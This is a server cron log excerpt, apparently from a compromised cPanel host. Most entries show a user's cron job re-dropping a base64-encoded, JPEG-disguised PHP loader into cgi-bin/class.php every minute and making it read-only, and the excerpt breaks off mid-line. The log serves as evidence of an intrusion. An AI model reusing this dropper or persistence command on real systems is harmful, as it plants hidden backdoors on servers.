Apr  7 05:13:01 server CROND[28970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:14:01 server CROND[29044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:15:01 server CROND[29101]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 05:15:01 server CROND[29104]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 05:15:01 server CROND[29106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:16:01 server CROND[29226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:17:01 server CROND[29297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:18:01 server CROND[29351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:19:01 server CROND[29403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:20:01 server CROND[29582]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 05:20:01 server CROND[29584]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 05:20:01 server CROND[29585]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 05:20:01 server CROND[29586]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 05:20:01 server CROND[29588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:21:01 server CROND[29715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:22:01 server CROND[29785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:23:01 server CROND[29839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:24:01 server CROND[29899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:25:01 server CROND[29960]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 05:25:01 server CROND[29961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 05:25:01 server CROND[29962]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 05:26:01 server CROND[30174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQK